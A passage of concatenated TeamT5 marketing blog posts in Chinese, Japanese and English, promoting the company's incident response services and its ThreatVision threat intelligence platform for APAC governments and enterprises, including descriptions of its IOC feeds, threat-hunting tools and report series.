現已協助政府、金融業、科技業、製造業等廣大客戶群，迅速且有效應對資安威脅或駭客攻擊，以最小化的損失來保護關鍵資訊資產；並提供資安強化建議與事件相關威脅情資，以「知己知彼，百戰百勝」的核心概念，有效協助企業提升面對資安事件的應處能力，減少資訊系統與網路服務中斷時間，維持各項服務連續性，確保業務正常運作。

>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)


 

*首圖來源: Unsplash

資安事件應變處理服務 評估與採購重點

今日のデジタル時代において、セキュリティインシデントやデータ漏洩が日常的に起こっているため、企業は潜在的な脅威に対処するための強力なインシデント対応 (IR) 戦略とサービスプロバイダーを必要としています。


IR サービスは、サイバーセキュリティに関する事件や事故に対する企業の即時対応と調査をサポートし、被害の軽減を目的としています。しかし、IR サービスを選択および調達する場合、企業は次のいくつかの重要な点を踏まえて確認する必要があります。


##1. 対応時間
IR プロバイダーの主要な選択基準として重要なのは対応時間です。潜在的な脅威による企業へのダメージを最小限に抑え、データ損失やシステム停止による悪影響を軽減するため、サプライヤーは即時対応サービスを提供できる必要があります。

##2. 専門的な知識と実務経験
サービスプロバイダーのチームメンバーは、さまざまなセキュリティインシデントを効果的に調査して対応できるよう、セキュリティに関する幅広い専門知識と実務経験を備えている必要があります。

##3. 専用の検出ツールの使用
サイバーセキュリティ・インシデントは、エンドポイントへの侵入によって引き起こされることが多いため、サービスプロバイダーはエンドポイントのセキュリティ状況をスキャンし、企業の被害範囲を検出することが、サイバーセキュリティインシデントに対応するための鍵となります。さらに、サービスプロバイダーは、専用のエンドポイント検出ツールを使用することで、半分の労力で2倍の結果を得ることができ、被害範囲を正確に確認し、対応策を講じることができます。


##4. 調査と証拠の保護
サプライヤーは、インシデント調査プロセスがコンプライアンスに準拠し、法的手続きに使用できることを保証するために、コンプライアンス報告および証拠保全措置を含む、専門的な調査およびデジタルエビデンスの保護手順を導入する必要があります。

##5. サイバーセキュリティ強化の提案とサイバーセキュリティ意識向上トレーニングの提供
IRサービスプロバイダーは、企業が今後起こりうるセキュリティインシデントを未然に防ぐことができるよう、また、今後同じハッキングインシデントに遭遇しないよう、サイバーセキュリティ強化を提案できる必要があります。これは、企業が根本的な原因に対処し、全体的なセキュリティを向上させるのに役立つ付加価値の高いサービスとなっています。




##結論
IRサービスは、企業のセキュリティレジリエンス戦略に不可欠であるため、適切なIRサービスプロバイダーを選択することが極めて重要です。企業は、選択したベンダーが効率的なインシデント対応と調査サービスを提供し、自社のデータとシステムの保護に役立つことを確認するために、上記の要素を慎重に検討する必要があります。

また、IRサービスの選択は、組織のセキュリティインシデントへの対応能力に直接影響するため、慎重な検討が必要となります。


 
 

>TeamT5は専門的なIRサービスを提供しており、自社開発の脅威識別・分析プラットフォームThreatSonarは、サイバーセキュリティインシデントの被害範囲を正確に識別することができます。また、当社のチームは、セキュリティ脅威の調査と分析において20年以上の経験を持っており、最大の国際セキュリティインシデント対応組織であるFIRSTのメンバーでもあります。
>
>現在、政府、金融業界、テクノロジー業界、製造業など幅広い顧客グループのサポートを行っており、サイバーセキュリティの脅威やハッカー攻撃に迅速かつ効果的に対応し、損失を最小限に抑えながら重要な情報資産を保護しています。また、孫氏の兵法で挙げられている「彼を知り己を知れば百戦殆からず」というコンセプトのもと、サイバーセキュリティ強化の提案やインシデント関連の脅威インテリジェンスを提供し、サイバーセキュリティインシデントに直面した際の企業の対応能力を向上させ、情報システムやネットワークサービスの中断時間を短縮し、各種サービスの継続性を維持しつつ、ビジネスが正常に行われるよう効果的にサポートいたします。
>
>貴社のサイバー防御を最適化する方法について詳しく知りたい場合は、ぜひお問い合わせください。
>[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blogs&utm_medium=website)

インシデント対応サービス(IR)：導入における主な考慮事項

ThreatVisionはサイバーセキュリティ態勢を強化し、中国、北朝鮮、韓国、パキスタン、ベトナム、インド等、APAC諸国の主な敵対国に対する防御態勢を改善しようと試みる 一連のAPAC諸国政府部門によって利用されています。

## ThreatVisionとは? 
 
ThreatVisionとは、 APAC(アジア太平洋地域)を中心としたサイバー脅威インテリジェンスの提供に特化した、包括的なインテリジェンスプラットフォームです。 APACにおける悪意のあるコード、APT（Advanced Persistent Threat）グループ、サイバー脅威の調査において10年以上の実績を持つThreatVisionは、組織に豊富なインテリジェンスリソースを提供しています。このプラットフォームは、戦略的、運用的、戦術的な脅威インテリジェンスを提供することで、意思決定者、リスクマネージャーやインシデント対応者など、サイバーセキュリティ環境内のさまざまな役割に対応しています。 Cレベルの経営幹部、リスクマネージャー、インシデント対応者が脅威ランドスケープを理解し、悪意のある攻撃者を特定およびサイバー脅威に対する効果的な防御を展開するのに役立ちます。 ThreatVisionのカスタマイズ可能なインテリジェンス調査とコンサルティングサービスは、ユーザーフレンドリーなインターフェースと精選されたレポートとともに、組織が情報に基づいた意思決定を行えるよう支援し、セキュリティリソースを効果的に割り当て、サイバーセキュリティの強化をお手伝いします。


## APAC諸国政府のインテリジェンス要件 
当社のAPAC諸国政府の顧客は通常、脅威インテリジェンス・プラットフォームを必要としていますが、データを自力でフィルタリングし、分析するための十分なリソースがありません。 攻撃者の活動を理解し、攻撃の背後に誰がいるのかを調査およびAPACで誰が攻撃されているかを把握する必要があります。このようなインテリジェンスがない場合、攻撃を受ける危険性が高くなります。 

## APAC諸国政府にとってのThreatVisionの利点 
これらのインテリジェンス要件を満たすために、APAC 諸国政府の顧客は、詳細なレポートと技術ツールを提供する ThreatVision を利用しています。 ThreatVisionを使用することで、敵の活動、戦術、技術、手順に関する貴重な洞察を得ることができ、プロアクティブな防御手段を強化し、進化するサイバー脅威の一歩先を行くことができます。パートナー企業への侵害指標リストの提供や、経営幹部への詳細なプレゼンテーションに加え、分析用サンプルの提出や、自社環境で発見された疑わしいサンプルのカスタム分析を注文することもできます。

## APAC諸国政府によるThreatVisionの利用方法
![how-threatvision-supports-apac-governments-threat-intelligence-jp_pic1.png](https://uploads.teamt5.org/upload/original/how-threatvision-supports-apac-governments-threat-intelligence-jp_pic1.png)

脅威の検出に関して、APAC諸国政府の顧客は通常、侵害を検出するためにThreatVisionの侵害指標リストと脅威ハンティングツールを使用しています。また、EDR/XDRを開始した後、ThreatVisionの脅威ランドスケープ、敵対者、マルウェア、サンプル管理機能を通じて脅威の調査を開始します。最終的にはマルウェアを検出し、脅威をより深く理解および敵対者のTTPを学習し、今後の攻撃を阻止することができます。

 

![how-threatvision-supports-apac-governments-threat-intelligence-jp_pic2.png](https://uploads.teamt5.org/upload/original/how-threatvision-supports-apac-governments-threat-intelligence-jp_pic2.png)

脅威インテリジェンスの観点から、顧客はThreatVisionの様々なレポートを読むことでインテリジェンスに関する知見を得ることができます。その後、調査結果を上層部に報告し、リスクを軽減するための予防措置を実行します。最終的な結果として、情報セキュリティポリシーが最適化され、予算の意思決定が容易になり、情報セキュリティ環境が強化されるとともに、
脅威ランドスケープについて非常に豊富な知見が得られます。


## ThreatVisionの利用について 
TeamT5の担当者にご連絡の上、14日間のThreatVisionトライアルアカウントをお申し込み頂くか、弊社製品を初めてご利用になるお客様で詳細をお知りになりたい場合は、 sales@teamt5.org まで電子メールをお送りください。 

お客様の組織をサイバー脅威から守るため、協力させていただきます。

- 使用事例: [ダウンロード](https://uploads.teamt5.org/upload/files/Successful_Story_How-ThreatVision-Supports-APAC-Governments-Threat-Intelligence_jp.pdf)

ThreatVisionによるAPAC諸国政府の脅威インテリジェンスのサポート

ThreatVision is utilized by a series of APAC government departments who are looking to enhance their cybersecurity posture and improve their defensive stance against key APAC adversaries including China, North Korea, South Korea, Pakistan, Vietnam and India.

## What is ThreatVision?
ThreatVision is a comprehensive intelligence platform that specializes in providing Asia-Pacific-centered cyber threat intelligence. With over a decade of experience in researching malicious code, APT (Advanced Persistent Threat) groups, and cyber threats in the Asia-Pacific region, ThreatVision offers a wealth of intelligence resources for organizations. The platform caters to different roles within the cybersecurity landscape, including decision-makers, risk managers, and incident responders, by offering strategic, operational, and tactical threat intelligence. It aids C-level executives, risk managers, and incident responders in understanding the threat landscape, identifying malicious actors, and deploying effective defenses against cyber threats. ThreatVision's customizable intelligence investigation and consulting services, along with its user-friendly interface and curated reports, empower organizations to make informed decisions, allocate security resources effectively, and enhance their cybersecurity.

## APAC Governments’ Intelligence Requirements
Our APAC government customers typically are in need of a threat intelligence platform, but they don’t have enough resources to filter and analyze data by themselves. They need to be able to understand adversaries’ activities, be able to study who is behind attacks, and know who is being attacked in the APAC region. Without this intelligence, they are at high risk of an attack.

## ThreatVision’s Benefits for APAC Governments’
To meet these intelligence requirements, our APAC government customers utilize ThreatVision, which provides detailed reports and technical tools. ThreatVision enables them to gain valuable insights into their adversaries' activities, tactics, techniques, and procedures, and strengthen their proactive defense measures, staying one step ahead of evolving cyber threats. In addition to being able to give indicators of compromise lists to partner entities, and give detailed presentations to executives, they are also able to submit samples for analysis and order customized analysis of suspicious samples found in their environment.

## How APAC Governments Use ThreatVision
![how-threatvision-supports-apac-governments-threat-intelligence-en_pic2.png](https://uploads.teamt5.org/upload/original/how-threatvision-supports-apac-governments-threat-intelligence-en_pic2.png)

In terms of threat detection, APAC government customers usually use ThreatVision’s indicators of compromise lists, and threat hunting tools to detect breaches. After initiating EDR/XDR, they also initiate research on the threat through ThreatVision’s threat landscape, adversaries, malware and sample management features. In the end they are able to detect malware, better understand the threat, learn their adversary’s TTPs, and thwart future attacks.

 

![how-threatvision-supports-apac-governments-threat-intelligence-en_pic1.png](https://uploads.teamt5.org/upload/original/how-threatvision-supports-apac-governments-threat-intelligence-en_pic1.png)

In terms of threat intelligence, these customers gain intelligence insights by reading ThreatVision’s many different reports. After that they report their findings to higher ups, and execute preventative measures to reduce their risk. The final result is that their infosec policies are optimized, their budget decision making is eased, their infosec environment strengthened, and they also gain highly rich insights into their threat landscape.


## Getting Started with ThreatVision
To get started, contact your TeamT5 representative and apply for a 14 day ThreatVision trial account, or email us at sales@teamt5.org if you are new to our products and wish to learn more. We look forward to working with you to keep your organization safe from cyber threats.


- Successful Story: [Download](https://uploads.teamt5.org/upload/files/Successful_Story_How-ThreatVision-Supports-APAC-Governments-Threat-Intelligence_en.pdf)

How ThreatVision Supports APAC Governments’ Threat Intelligence

許多亞太地區政府部門採用 ThreatVision，希望藉其增強網路安全態勢，並改善對亞太地區主要攻擊者如中國、北韓、南韓、巴基斯坦、越南和印度等地的防禦。

## 什麼是 ThreatVision?
憑藉針對亞太地區惡意程式、APT（進階持續性威脅）族群和網路威脅的十多年研究經驗，ThreatVision威脅情資平台專為組織，提供以亞太地區為中心的豐富網路威脅情資。平台透過提供戰略、營運和戰術威脅情資，來滿足網路安全領域的不同角色，包括決策者、風險管理者和事件應變人員，協助 C 層級高階經理人、風險經理和事件處理人員了解威脅形勢、識別惡意行為者並部署有效的網路威脅防禦。ThreatVision 提供可客製情資調查與諮詢服務，以及其易於使用的介面和精選報告，協助組織能做出明智的決策，有效地分配資安資源，並增強網路安全。

## 亞太地區政府的情資需求
一般來說，我們的亞太地區政府客戶需要威脅情資平台，但他們沒有足夠的資源來自行過濾和分析數據。他們期望能夠了解對手的活動、研究誰是攻擊背後的攻擊者，並知道誰在亞太地區受到攻擊。如果沒有這類情資，就會面臨很高的被攻擊風險。

## ThreatVision對亞太地區政府的效益
ThreatVision 所提供詳細的報告和技術工具，可滿足亞太地區政府客戶的情資需求。ThreatVision 能讓亞太地區政府深入了解對手的活動、戰術、技術和程序，並加強主動防禦措施，面對不斷變化的網路威脅保持領先。除了為合作夥伴提供威脅入侵指標（IoC）、為管理階層提供詳細簡報外，能夠進行樣本分析，以及客製化分析環境中發現的可疑樣本。

## 亞太地區政府如何使用 ThreatVision
![how-threatvision-supports-apac-governments-threat-intelligence-tw_pic1.png](https://uploads.teamt5.org/upload/original/how-threatvision-supports-apac-governments-threat-intelligence-tw_pic1.png)

在威脅偵測方面，亞太地區政府客戶通常使用 ThreatVision 的威脅入侵指標（IoC）和威脅狩獵工具來偵測入侵。在啟動 EDR / XDR 後，透過 ThreatVision 提供的威脅態勢、攻擊者族群、惡意程式和樣本管理功能，啟動威脅研究。最終達成能夠偵測惡意程式、更了解威脅與攻擊者的 TTPs，並阻絕未來的攻擊。

 

![how-threatvision-supports-apac-governments-threat-intelligence-tw_pic2.png](https://uploads.teamt5.org/upload/original/how-threatvision-supports-apac-governments-threat-intelligence-tw_pic2.png)


在威脅情報方面，客戶可從 ThreatVision 的許多不同報告中獲得情資洞見。協助他們隨後向上級報告調查結果，並採取預防措施，以降低風險。最終達到資安政策優化、預算決策變得更加輕鬆、強化資安環境，並且獲得高豐富的威脅形勢洞察。

## 如何開始使用 ThreatVision
請聯繫您的 TeamT5 代表並申請 14 天的 ThreatVision 試用帳戶。
若您希望了解此產品更多細節，請發送電子郵件至 sales@teamt5.org。我們期待與您合作，確保您的組織免受網路威脅。

- 成功案例: [下載](https://uploads.teamt5.org/upload/files/Successful_Story_How-ThreatVision-Supports-APAC-Governments-Threat-Intelligence_tw.pdf)

ThreatVision 如何協助亞太地區政府應用威脅情資

In the rapidly evolving digital landscape of the Asia-Pacific region, the need for localized cyber threat intelligence is paramount. While Europe and America have well-established cyber threat intelligence infrastructures, the Asia-Pacific region lags behind, with limited local resources. Enter TeamT5, a beacon of expertise in the Asia-Pacific cyber threat intelligence domain.

## The Asia-Pacific Edge
The Asia-Pacific region is a hotbed of geopolitical dynamics. Yet, there's a scarcity of intelligence firms that truly specialize in this region. TeamT5 stands out with its Asia-Pacific-centered intelligence professional team. With over a decade of dedication to researching Asia-Pacific cyber threat intelligence, our team's proficiency in the Chinese language, combined with their in-depth understanding of APT hacker groups in the region, especially those originating from China, places us in a unique position. Our extensive knowledge of attack details and techniques has made us a sought-after participant in world-class conferences like Code Blue, AVTokyo, Troopers, Hack In The Box, and FIRST.

## The Imperative of Threat Intelligence

Threat intelligence is not just a buzzword; it's a necessity. From decision-makers to risk managers and incident responders, everyone in the corporate information security team faces unique challenges. To address these challenges, intelligence information can be categorized into:

1. **Strategic Threat Intelligence**: Tailored for C-level executives, it offers insights into trends, the organization's threat landscape, and potential malicious actors.

2. **Operational Threat Intelligence**: Essential for SOC leaders and analysts, it delves into hacker techniques and proactive threat prevention.

3. **Tactical Threat Intelligence**: Vital for rapid incident response teams, it provides precise threat indicators for swift assessment and mitigation.

## ThreatVision: The Ultimate Solution
So, where does ThreatVision fit into this landscape? Unlike many platforms that merely redistribute open-source intelligence, ThreatVision stands out by researching and analyzing intelligence in-house. This ensures that the intelligence provided is not only up-to-date but also more accurate. The clear presentation of data makes it accessible even for non-technical users, bridging the gap between complex cybersecurity threats and business decision-makers.

ThreatVision offers:

- **A Rich Library**: From Indicators of Compromise (IOCs) for swift threat identification to Threat Hunting Tools for direct detection, and Intelligence Reports for a multi-dimensional analysis of hacker behavior.

- **Customized Services**: Request For Information(RFI) Service offers tailored reports and customized analysis.

- **Integration Capabilities**: With its API Service, ThreatVision facilitates automation and enhances threat response efficiency.

For C-level executives, Risk Managers, and event responders, ThreatVision provides tailored solutions. From CTI reports that consolidate event motives to comprehensive technical information for proactive risk mitigation and an API for rapid integration of situational information, ThreatVision ensures that every cybersecurity team member is equipped with the right tools and intelligence.

## Summary
In an era where both human resources and technology are limited, the right intelligence can make or break an organization's cybersecurity strategy. ThreatVision, with its comprehensive offerings and in-house research, ensures that businesses are not just reactive but proactive in their defense strategies. By understanding the behavior and objectives of attackers, organizations can craft effective security policies, enhancing overall response efficiency. With [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blogs&utm_medium=website), you're not just securing your organization; you're future-proofing it.

 
 
>Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 
>
>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) to schedule a consultation.

Why ThreatVision - Threat Intelligence Platform Empowering Organizations to Make Informed Decisions

在亞太地區快速發展的數位環境中，對在地化威脅情資的需求至關重要。 雖然歐洲和美國擁有完善的網路威脅情資背景，但亞太地區卻相對落後，在地化資源有限。而 TeamT5 專精於亞太網路威脅情資研究，正是補足此缺口。

## 亞太態勢
亞太地區面臨動盪的地緣政治與動態勢，然而真正專注於該地區的情資公司卻很少。 TeamT5 以其專注亞太的威脅情資專業團隊脫穎而出。 

我們的團隊20多年年來致力於研究亞太網路威脅情資，精通中文，加上對該地區 APT 威脅族群，特別是來自中國的APT威脅族群的深入了解，使我們處於獨特的地位。 我們對攻擊細節和技術的廣泛了解使我們成為 Code Blue、AVTokyo、Troopers、Hack In The Box 和 FIRST 等世界級會議的搶手參與者。

## 威脅情資的必要性

威脅情資不只是一個流行詞；它是一種威脅情資。 這是必要的。 從決策者到風險經理和事件回應者，企業資訊安全團隊中的每個人都面臨著獨特的挑戰。 為了應對這些挑戰，威脅情資可以分為：

1. **戰略威脅情資**：專為高階管理人員量身訂製，其提供對資安威脅趨勢、組織面臨的威脅情勢和潛在惡意攻擊者的洞察情資。

2. **營運威脅情資**：對於安全營運中心 (SOC) 領導者和分析師至關重要，其提供威脅族群技術和主動威脅預防的深度分析。

3. **戰術威脅情資**：對於事件應變團隊至關重要，其提供精確的威脅指標以進行快速評估和緩解。

 

## ThreatVision：終極解決方案
那麼，ThreatVision 適合這個環境嗎？ 與許多僅重新整理、轉發開源情資內容的平台不同，ThreatVision 透過團隊內部研究和分析情資而脫穎而出，提供了前述的多種威脅情資，且確保所提供的情資不僅是最新的，而且更加準確。

威脅情資也以簡單易懂的方式呈現，使得非技術背景的使用者也能快速瀏覽與了解，從而彌補複雜的網路安全威脅資訊，和決策者之間的落差。

ThreatVision 提供：

- **豐富的資料庫**：從用於快速識別威脅的妥協指標 (IOC) 到用於直接檢測的威脅狩獵工具，以及針對入侵行為，進行多面向分析的情資報告。

- **客製化服務**：資訊請求 (RFI) 服務提供客製化報告和客製化分析。

- **整合功能**：ThreatVision 透過其 API 服務促進自動化並提高威脅回應效率。

ThreatVision 為高階管理人員、風險管理經理和事件應變人員提供量身訂製的解決方案。 從整合事件動機的威脅情資報告，到用於主動緩解風險的漏洞技術資訊，再到用於快速整合威脅情資的 API，ThreatVision 確保每個網路安全團隊成員都配備了正確的工具和威脅情資。

## 結論
在人力資源和技術都有限的時代，正確的威脅情資可以助力企業、組織打造完善網路安全策略。

ThreatVision 威脅情資平台憑藉其豐厚的研究內容，確保企業在防禦策略中，並非被動防禦、而是主動部署 – 透過了解攻擊者的行為和目標，企業與組織可以制定有效的資訊安全策略，從而提高整體回應資安威脅的效率。 

透過 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blogs&utm_medium=website)，您將可超強部署，妥善保護您的企業、組織。

選擇 ThreatVision 威脅情資平台的好原因: 企業有效做出聰明的資安決策

急速に進化するアジア太平洋地域のデジタル環境において、地域に密着したサイバー脅威インテリジェンスの必要性は非常に高くなっています。欧米には確立されたサイバー脅威インテリジェンスインフラがありますが、アジア太平洋地域は比較的遅れており、地域のリソースも限られています。このような状況のもと、TeamT5はアジア太平洋地域のサイバー脅威インテリジェンス分野における専門家の道標として活動しています。


## アジア太平洋の状況
アジア太平洋地域は地政学的ダイナミクスに直面していますが、この地域に真に特化したインテリジェンス企業は希少です。このような状況において、TeamT5はアジア太平洋地域を中心とした脅威インテリジェンス専門チームとして際立っています。

20年以上にわたってアジア太平洋地域のサイバー脅威インテリジェンスの研究に専念してきた当社チームは、中国語に堪能であり、この地域のAPTハッカーグループ、特に中国発のハッカーグループを熟知していることによって、独自の地位を確立しています。また、攻撃の詳細やテクニックに関する豊富な知識により、Code Blue、AVTokyo、Troopers、Hack In The Box、FIRSTなどの世界的なカンファレンスに招待され、高い評価を得ています。


 

## 脅威インテリジェンスの必要性

脅威インテリジェンスはサイバーセキュリティ対策において重要視されています。意思決定者からリスクマネジャー、インシデント対応担当者まで、企業の情報セキュリティチームの全員が独自の課題に直面しており、これらの課題に対処するために、脅威インテリジェンスは次のように分類されています：

1. **戦略的脅威インテリジェンス**: Cレベルのエグゼクティブ向けに作成されており、セキュリティ脅威の傾向、組織が直面している脅威の状況、潜在的な悪意のある攻撃者に関する洞察を提供します。


2. **運用脅威インテリジェンス**: セキュリティ オペレーション センター (SOC) のリーダーやアナリストにとって重要であり、脅威グループのテクニッやとプロアクティブな脅威対策について詳細な分析を提供します。


3. **戦術的脅威インテリジェンス**: 素早さが求められるインシデント対応チームにとって重要であり、迅速な評価と軽減のための正確な脅威指標を提供します。

 


## ThreatVision: 究極のソリューション
では、ThreatVisionはこのような状況のどこに位置づけられるのでしょうか？オープンソースのインテリジェンスを再配布する多くのプラットフォームとは異なり、ThreatVisionの最大の特徴が、当社チームによるインテリジェンスの調査・分析です。これにより、提供されるインテリジェンスは最新であるだけでなく、より正確なものとなります。

また、データをシンプルでわかりやすく表示することで、技術的な専門知識を持たないユーザーでもアクセスできるようにし、複雑なサイバーセキュリティの脅威と意思決定者とのギャップを埋めることができます。



ThreatVision が提供するもの:

- **豊富なライブラリ**: 脅威を迅速に特定するためのIOC（Indicators of Compromise）、直接検知するための脅威ハンティング ツール、脅威の侵入を多面的に分析するインテリジェンス レポートなどがあります。

- **カスタマイズサービス**: RFI(Request For Information)サービスは、カスタマイズされたレポートとカスタマイズされた分析を提供することが可能です。

- **統合機能**: API(Application Programming Interface) サービスを通じて自動化を促進し、脅威への対応効率を高めます。



 

ThreatVision は、Cレベルのエグゼクティブ、リスクマネージャー、インシデント対応者向けにカスタマイズされたソリューションを提供します。 インシデントの動機を統合する脅威インテリジェンスレポートから、積極的なリスク軽減のための包括的な技術情報、脅威インテリジェンスの迅速な統合を行う API に至るまで、サイバーセキュリティ チームのメンバー全員が適切なツールと脅威インテリジェンスを備えることができると保証します。

 

##結論
人的資源とテクノロジーが限られている時代において、適切な脅威インテリジェンスの有無は、企業や組織のサイバーセキュリティ戦略を左右します。

ThreatVision 脅威インテリジェンス プラットフォームは、その包括的なサービスと社内調査により、企業や組織のサイバー防御戦略を受動的なものではなく積極的なものにします。また、攻撃者の行動と目的を理解することで、効果的なセキュリティポリシーを策定し、全体的なセキュリティの向上と対応効率を高めることができます。


[ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blogs&utm_medium=website) を通じて、企業や組織はサイバーセキュリティを強化し、適切に保護するための対策を講じることが可能になります。

ThreatVision 脅威インテリジェンス プラットフォームを選択するメリット: 効果的に企業のサイバーセキュリティ対策に関する賢明な意思決定を行うことが可能

In today's digital landscape, cybersecurity has become one of the most critical concerns for governments and companies worldwide. With the rise of sophisticated cyber threats, such as Advanced Persistent Threats (APTs), organizations need robust and specialized tools to combat these evolving dangers effectively. This is where TeamT5's [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) comes in, offering unparalleled expertise and intelligence to help governments and enterprises in the Asia-Pacific.

 

## The Power of TeamT5 and ThreatVision
TeamT5, renowned for its Asia-Pacific-centered intelligence professional team, has been at the forefront of researching cyber threat intelligence in the region for over a decade. Our Chinese language proficiency and geopolitical knowledge, coupled with ten years of experience in malicious code and APT research, have granted us a deep understanding and research capabilities of APT hacker groups, particularly those originating from China. Our expertise has earned us invitations to world-class conferences, further solidifying our reputation as the top choice for Asia-Pacific APT intelligence, especially for those looking to defend against China.

## The Importance of Threat Intelligence
Threat intelligence plays a pivotal role in a company's cybersecurity strategy. It serves three key roles: assisting decision-makers, enabling risk managers, and supporting incident responders. TeamT5 recognizes the significance of each type of intelligence, including:

### Strategic Threat Intelligence
Vital for C-level executives responsible for decision-making, strategic threat intelligence provides insights into an organization's threat landscape, identifies malicious actors targeting the organization, and sheds light on their objectives.

### Operational Threat Intelligence
Crucial for SOC leaders and analysts, operational threat intelligence focuses on understanding hacker techniques and actively preventing potential threats.

### Tactical Threat Intelligence
Essential for rapid incident response teams, tactical threat intelligence provides precise threat indicators to assess the current situation and take appropriate measures to mitigate the impact and resolve the situation at hand.

 

## What Does ThreatVision Offer?
ThreatVision offers a comprehensive library of threat intelligence features to cater to various cybersecurity team members, enhancing internal collaboration and response efficiency.

- **Indicators of Compromise (IOCs)**: IOCs provide rapid threat identification and serve as essential clues for tracing attack sources within an enterprise.
- **Threat Hunting Tools**: These tools offer direct detection capabilities to quickly understand the current environment and identify potential issues.
- **Intelligence Reports**: TeamT5's most renowned resource, intelligence reports offer multi-dimensional analysis of hacker behavior, providing a deeper understanding of incidents and the motives behind hackers' actions.
- **Adversary and Malware Gallery**: Contains a comprehensive library of first-hand files on malicious groups and programs, enabling organizations to understand threat sources.
- **RFI Service**: Analysts provide customized reports and tool services to customers.
- **API Service**: Allows for quick integration of platform resources to facilitate automation.

 

##Meeting Customer Needs with Actionable Intel
ThreatVision addresses various customer needs through its diverse offerings:

### Threat Identification and Technical Details
ThreatVision quickly identifies malware and adversaries and provides technical details, backgrounds, and attack methods commonly used by them. It serves as a one-stop intelligence platform for enterprise security teams, helping them allocate security budgets more effectively.

### Auto-Analysis Sandbox Service
This service offers fast automated analysis, allowing users to choose specific samples for further manual analysis by TeamT5's expert analysts.

### Customized Intelligence Investigation and Consulting Services
TeamT5 offers tailored services to meet intelligence investigation and consulting requirements.

### Threat Hunting Tools and API Integration
ThreatVision's Threat Hunting Tools enable users to proactively confirm their own situation and ensure environmental security. The API service provides convenient access to intelligence, reducing the burden on personnel and facilitating integration into automated processes.

 

## Actionable Intelligence Through Reports
ThreatVision's intelligence reports fall under three categories: APT in Asia, Vulnerability, and Cyber Affairs. These reports provide invaluable insights for decision-making and response.

 

![pic_how-threat-vision-helps-fight-against-apts-through-cyber-threat-intelligence.jpg](https://uploads.teamt5.org/upload/original/pic_how-threat-vision-helps-fight-against-apts-through-cyber-threat-intelligence.jpg)

 

### APT in Asia Flash Reports
TeamT5’s APT in Asia Flash (aka Flash Report) provides timely, accurate, and actionable intelligence. Users can use Flash Reports to get just-in-time alerts of the latest APT intrusions. Flash Reports are published twice a week. Each Flash Report details a specific targeted attack and provides all essential IOCs.

### APT Campaign Tracking Reports
APT Campaign Tracking Report (aka CTR) provides TeamT5’s comprehensive understanding of significant threat groups and campaigns. Users can use CTR to enhance their knowledge of trends and challenges in the APAC region with a broader perspective. TeamT5 publishes two CTRs at the end of every quarter. Each CTR provides an in-depth analysis on a particular threat group/campaign, covering its TTPs, target scope, etc., over the past 2-3 years. Moreover, at the end of Q2 and Q4, CTRs provide an APT Threat Landscape report covering major incidents, popular TTPs, most targeted industries, and top malwares/APTs over the past two quarters.

### APT in Asia Monthly Reports
TeamT5’s APT in Asia Monthly (aka Monthly Report) provides strategic and actionable intelligence in the Asia Pacific region. Monthly Reports connect the dots between cyberattacks and recent political events, policies, and foreign affairs. Users can use Monthly Reports to understand the latest trends and the current threat landscape. Monthly Reports are published every month. Each Monthly Report summarizes 13-16 APT attack cases in the Asia Pacific region over the past month.

### Cyber Affairs Biweekly Reports
TeamT5’s Cyber Affairs Biweekly Report (aka Biweekly Report) provides strategic cyber intelligence about the Chinese-speaking cyber world. Users of the Biweekly Report can understand the cyber capabilities of the emerging superpower, China. The Biweekly Report is published every two weeks. Each Biweekly Report provides a quick recap of cybersecurity news in the Chinese-speaking cyber world, covering the latest policies, regulations, and cyber incidents.

### Vulnerability Insights Reports
TeamT5’s Vulnerability Insights Report (aka VIR) provides technical details about critical and highly exploitable vulnerabilities. Users can use VIRs to mitigate the threat posed by these critical and highly exploitable vulnerabilities. VIR is published every two weeks. Each VIR focuses on one critical and highly exploitable vulnerability. Moreover, VIRs depict the possible attacking scenarios and provide detection tools.

### Patch Management Reports
TeamT5’s Patch Management Report (aka PMR) provides all the relevant information on all critical and highly exploitable vulnerabilities. Users can use PMRs to prioritize their patch management. PMRs are updated every two weeks. Each PMR summarizes around 100 of the most critical vulnerabilities during the period in a table, and lists all the essential information about these vulnerabilities, such as the affected products, patching details, and even publicly available PoC codes.

 

## Summary
ThreatVision, developed by TeamT5, is a game-changer in the fight against Advanced Persistent Threats. With our unparalleled expertise in the Asia-Pacific region, ThreatVision provides actionable threat intelligence that empowers governments and companies to make informed decisions, proactively manage risks, and swiftly respond to cyber incidents. As the cyber threat landscape continues to evolve, ThreatVision stands ready to protect organizations and secure the digital world against APTs. 

To get started, contact your TeamT5 representative and apply for a 14 day ThreatVision trial account, or email us at sales@teamt5.org if you are new to our products and wish to learn more. We look forward to keeping your organization safe.

How ThreatVision Helps Fight Against APTs Through Cyber Threat Intelligence

在當今的數位環境中，資訊安全已成為全球政府和公司最關心的問題之一。 隨著進階持續性威脅 (APT) 等複雜多變的網路威脅興起，企業與組織需要強大且專業的工具，以有效應對這些持續變化、演進的危險。 這就是 TeamT5 [威脅情資平台 ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website) 能夠發揮關鍵功用之處，其提供深度專業知識和威脅情資，幫助亞太地區的政府和企業。

 

## ThreatVision 協助企業超前部署，抵禦資安威脅

TeamT5 專注亞太地區威脅情資研究，備受肯定，20多年來一直為此區域的網路威脅情資研究領導品牌。 我們的中文語言優勢和地緣政治知識，再加上十年的惡意程式和 APT 研究經驗，使我們對 APT 攻擊族群，特別是來自中國的攻擊族群有深入的了解和研究能力。 我們的專業知識為我們贏得參加世界級會議的邀請，進一步鞏固了我們作為亞太地區 APT 威脅情資首選的名聲，特別是對於那些希望防禦中國威脅的企業、組織。

## 威脅情資的重要性
威脅情資在公司的資訊安全戰略中發揮關鍵作用。 它扮演三個關鍵角色：協助決策者、支持風險管理者和支持事件回應者。 TeamT5 認為每種威脅情資皆十分重要，包括：

### 戰略威脅情資
